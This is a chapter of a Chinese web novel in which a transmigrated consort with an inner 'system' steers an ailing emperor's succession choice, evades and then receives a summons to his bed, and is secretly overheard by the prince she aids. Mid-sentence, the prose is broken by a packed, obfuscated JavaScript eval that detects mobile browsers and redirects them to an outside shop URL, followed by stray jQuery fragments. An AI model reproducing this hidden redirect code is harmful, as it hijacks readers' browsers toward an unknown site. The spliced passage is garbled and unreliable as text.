15. 第十五章
作品:《反派暴君他也有系统》 景帝体内的毒日积月累,近日身体已出现了异常,待批完奏折更是觉得头痛欲裂。沈时微一面柔荑轻按其额侧太阳穴,一面轻声细语:“太医叮嘱陛下需静养,这些繁杂琐事,若有信得过的人分担一二便好了。”她顿了顿,仿佛随口一提。
“近日百官也不止一次向朕提起立太子一事,爱妃觉得这诸位皇子中谁能堪当重用。”
“陛下。”沈时微指尖力道匀停,声音放得愈发轻柔,“立储是国本大事,关乎天下万民。臣妾一介深宫妇人,见识短浅,哪里敢妄议朝政?只是……”
她略作迟疑,指尖似无意般拂过景帝紧锁的眉间,“臣妾私心想着,无论是哪位殿下,总归是要最能体贴陛下、以陛下龙体为重的才好。陛下为江山操劳半生,如今正该好生颐养,若有人能真心为陛下分忧解劳,让陛下少些烦难,那便是极好的了。”
景帝闭着眼,鼻腔里哼出一声意味不明的叹息,“分忧解劳……说得容易。老大敦厚有余,机变不足;老三倒是活络,心思却也活络得有些过了;老五勇武,可惜少了些沉稳……”他忽然停住,转而问道,“爱妃平日与皇子们接触不多,倒是对老六颇为怜惜?”
沈时微心头一凛,知道方才替谢砚铺垫的话终究引来了这一问。她手上动作不停,语气里适时添了几分坦然又无奈的感慨,“陛下说笑了,臣妾对各位殿下都是一样的心。只是六殿下生母不在身边,性子又静,总让人想起民间那些早早没了娘亲照拂的孩子,不免多留意两眼。说来也是陛下仁德,宫中上下和睦。”
景帝沉默了片刻,头痛似乎缓解了些,他抬手按住沈时微的手背,缓缓睁开眼。那双已见浑浊却依旧锐利的眼睛,深深看了她一眼,“你倒是心善。”
这一眼,看得沈时微后背微凉。她垂下眼帘,露出恰到好处的赧然与依赖,“臣妾不过是学着陛下,待人以宽罢了。说到底,诸位皇子都是陛下的骨血,无论哪位将来承继大统,首要的,不都得是孝顺着陛下、延续陛下的英明治理么?臣妾只盼着陛下龙体康健,长长久久地做我们的主心骨。”
“既如此爱妃今晚便留下侍寝吧。”
“陛下厚爱,臣妾……”
沈时微心头警铃大作,侍寝?开什么玩笑!她脸上却还得维持着温婉羞怯的笑意,指尖几不可察地颤了一下。
系统!系统!紧急情况!救命!她在心底疯狂呐喊。
【宿主别慌!本系统在!】系统的电子音立刻响起,带着一种终于轮到我出场的兴奋。
救命救命!
【宿主,只要景帝不死您早晚逃不掉侍寝这一步的。】
你是想我死给你看?
“臣妾葵水来了,这几日怕是不能侍寝。”话音刚落,沈时微自己先在心里咯噔一下。这理由……太常见,也太容易被查证了。敬事房的记档、侍奉的宫女,甚至一碗汤药下去便能试探虚实。她这话,无异于在悬崖边试探。
果然,景帝那双半阖的、带着倦意与审视的眼,倏然睁开了些。浑浊的眼底掠过一丝锐光,像是被这话刺破了某种温情脉脉的假象。他并未立刻动怒,只是那按着沈时微手背的手指,力道微微收紧,带着不容错辨的压迫感。
“哦?”他声音低沉,听不出情绪,却比发怒更令人心头发紧,“倒是巧。”
殿内的空气仿佛凝滞了。香炉里的龙涎香依旧袅袅,却压不住陡然弥漫开的冷意。
沈时微背上寒毛倒竖,心脏狂跳,几乎要撞出胸腔。她强迫自己稳住呼吸,脸上那抹羞怯的赧然尚未完全褪去,又迅速蒙上一层恰到好处的惊慌与委屈。她垂下眼帘,不敢与景帝对视,声音轻颤,带着显而易见的惶恐,“臣妾……臣妾并非有意推诿,实在是……身子不争气,恐冲撞了陛下,也怕……怕过了晦气给陛下,有损龙体康泰。陛下明鉴……”
景帝的目光依旧锁在她身上,那目光沉甸甸的,带着久居上位的威压和一丝不易察觉的探究。半晌,他才缓缓松开手,身体向后靠回椅背,发出一声意味不明的轻哼,“既是身子不适,便好生将养着。朕这里,不缺人伺候。”
回到听澜阁,沈时微屏退左右,只留了一盏昏黄的灯。她没像往常那样卸妆更衣,只是怔怔地坐在梳妆台前,铜镜里映出一张精心修饰却难掩疲惫的脸。
【宿主,你还好吗?】系统的声音难得地带着小心翼翼。
“我不好。”沈时微的声音干涩,“系统,你之前说的对……只要他活着,只要我还在这宫里,还想做点什么,这道坎,我躲不过去。”
镜子里的女子扯出一个比哭还难看的笑。穿书之前,她也只是个看过些宫斗剧、有点小聪明的普通人,最大的烦恼不过是吃什么和做什么。可现在,她要面对的是一个疑心深重、掌控着她生杀予夺的帝王,要周旋在波谲云诡的夺嫡漩涡里,还要……被迫去侍寝。
光是想到侍寝两个字,她就从胃里泛起一阵生理性的恶心和抗拒。那不仅仅是和一个不爱的、甚至可以说是“敌人”的男人发生关系,更是一种对自我意志的彻底剥夺和践踏。
【可是宿主,如果你一直拒绝,景帝的疑心只会越来越重。他今天没发作,不代表他信了。帝王恩宠本就脆弱,一旦失去,别说帮谢砚,你自己在宫里的日子都会举步维艰。】系统分析着利弊,声音理智得近乎冷酷,【冷宫,或者更糟的地方,可能就是归宿。】
沈时微打了个寒颤。她见过冷宫的荒凉,听过里面传出的、似有若无的呜咽。那比死更可怕。
“我知道……”她闭上眼,手指无意识地绞紧了衣袖,“可我过不了自己心里这关。系统,我不是这个世界的人,我有我的观念,我的……底线。哪怕这只是本书,哪怕这些人可能只是纸片人,但我在这里,感受是真的,恶心也是真的。”
【宿主,或许……你可以换个角度想。】系统沉默了片刻,尝试着用另一种方式劝说,【这不是屈服,而是一种……策略性的付出。就像战场上,有时候为了最终的胜利,需要暂时放弃一些阵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006835|193402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地。你想帮谢砚,想改变某些人的命运,甚至想保全自己,都需要权力和资本。而在后宫,获得这些最直接的方式,就是帝王的宠爱。侍寝,是巩固宠爱的必要环节。】
“真的没有办法了吗?”沈时微的声音带着压抑的哽咽,泪水终于决堤,顺着脸颊滑落,冲开脂粉,留下蜿蜒的水痕。她将脸埋进掌心,肩膀微微耸动,全然没有了白日里在御前的温婉从容,只剩下一个无助又抗拒的灵魂,被困在这华美牢笼里,做着最痛苦的选择。
【宿主,根据现有数据和情境模拟,这是最优解,也是……唯一可行的路。】
【除非你愿意放弃谢砚,放弃任务,甚至放弃自己的生存,任由剧情走向未知的崩坏。但那样,婉才人可能永困冷宫,谢砚可能无声湮灭,而你……本系统无法保证你的安全。】
窗棂之外,浓重的夜色里,一道几乎与阴影融为一体的身影,静静伫立。
谢砚不知自己为何会在此刻出现在听澜阁外,他本已转身欲走,却被那一声带着哭腔的对话钉在了原地。
谢砚垂在身侧的手,缓缓收紧。指甲嵌入掌心,带来清晰的刺痛,却奇异地压下了心头翻涌的那股陌生的、尖锐的涩意。
他该觉得庆幸,不是吗?有一个如此尽心尽力、甚至不惜牺牲自身来为他铺路的合作者。这不正是他当初递出投名状时所期望的?一个有用的、有野心的盟友。
可为什么,听着那压抑的哭泣,那充满厌恶和无奈的策略性付出,他只觉得胸口像是被什么东西堵住了,闷得发慌。
他要活下去,要往上爬,要把母妃接出来。这条路上,注定骸骨铺就,鲜血染途。别人的牺牲,哪怕是自愿的、带着目的的牺牲,也不过是这棋局中司空见惯的一子。
沈时微的眼泪,她的抗拒,她的算计……都只是工具的一部分,只是有用的工具……
谢砚闭了闭眼,再睁开时,眸底所有翻腾的情绪都已沉淀下去,只剩下深不见底的黑。他悄无声息地向后退去,如同来时一样,融入沉沉的夜色,没有留下丝毫痕迹。
沈时微,都是你自愿的,不怪我。
三日后的一个午后,一道侍寝的口谕,毫无预兆地降在了听澜阁。
“躲不过了。”沈时微轻声自语,像是对自己,也像是对那个默然不语的系统。
她没有再流泪,也没有崩溃。只是叫来贴身宫女,平静地吩咐准备沐浴香汤,挑选衣物。宫女们面上带着喜色,手脚麻利地忙碌起来。
几乎在侍寝口谕传遍后宫的同时,消息也以某种隐秘的渠道,递到了谢砚手中。
传递消息的小太监低眉顺眼,说完便悄无声息地退下。书房里,谢砚握着书卷的手指,几不可察地顿了一顿。纸页边缘,留下一个极淡的指痕。
本该如此。他对自己说。
宫廷倾轧,哪里容得下妇人之仁?别人的血与泪,不过是攀登阶梯上必然沾染的尘埃。
“陛下!林妃娘娘宫中走水了!”

